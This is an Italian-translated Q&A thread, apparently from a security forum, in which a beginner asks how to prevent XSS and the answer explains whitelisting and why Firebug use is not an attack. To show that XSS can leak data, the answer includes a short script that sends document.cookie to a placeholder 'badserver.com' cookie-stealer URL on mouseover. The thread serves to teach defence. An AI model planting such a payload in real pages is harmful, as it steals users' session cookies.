XSS - Usare firebug per iniettare script

1

Recentemente ho fatto un po 'di ricerche su XSS e ho scoperto che per prevenire XSS il modo migliore è codificare l'input / output dell'utente. Essendo un principiante in questo campo non riesco a capirlo e ho un paio di domande:

  1. Se sul lato server usiamo un REGEX per striscia di barre (/,\) e simboli di apertura / chiusura dello script (<,>) possiamo impedire XSS?

  2. Ho anche trovato un articolo in cui checkbox e pulsanti radio venivano attaccati iniettando un onMouseHover = <script> .. </script> . Poiché ciò non restituirebbe alcun dato al server, in che modo questo rappresenta una minaccia?

  3. Usando firebug possiamo iniettare script quasi ovunque. Di cosa dovremmo occuparci esattamente? Se gli input dei moduli utente sono validati correttamente, siamo a posto?

posta AgentX 23.11.2015 - 17:34
fonte

1 risposta

2

If on the server side we use a REGEX...

Dovresti usare una whitelist, non una lista nera. Usa un'espressione regolare per abbinare solo lettere, numeri e simboli di coppia. È più facile e più sicuro che cercare di risolvere ogni singolo modo in cui gli hacker potrebbero iniettare script.

Since this would not send any data back to server, how does this pose a threat?

Uno script PU CAN inviare dati al server. Immagina il seguente frammento:

<b onMouseOver='javascript:doSomething()'>Nothing</b>
<img id='x' width='1' height='1'>
<script>function doSomething() { 
      document.getElementById('x').src = 'http://badserver.com/cookieStealer.php?' + document.cookie;
    }
</script>

Punta il mouse sul tag B e tutti i cookie vengono inviati.

Using firebug we can inject scripts almost everywhere.

Firebug è un debugger, in esecuzione sul lato client, gestito dal client. Qualunque cosa fatta all'interno di Firebug non conta come un attacco, perché è un'azione avviata dall'utente. Se convinzioni il client ad aprire Firebug ed eseguire qualsiasi procedura, probabilmente potresti chiedergli di scaricare un file eseguibile, metterlo nella whitelist dell'antivirus ed eseguirlo con i privilegi di amministratore.

    
risposta data 23.11.2015 - 17:50
fonte

Leggi altre domande sui tag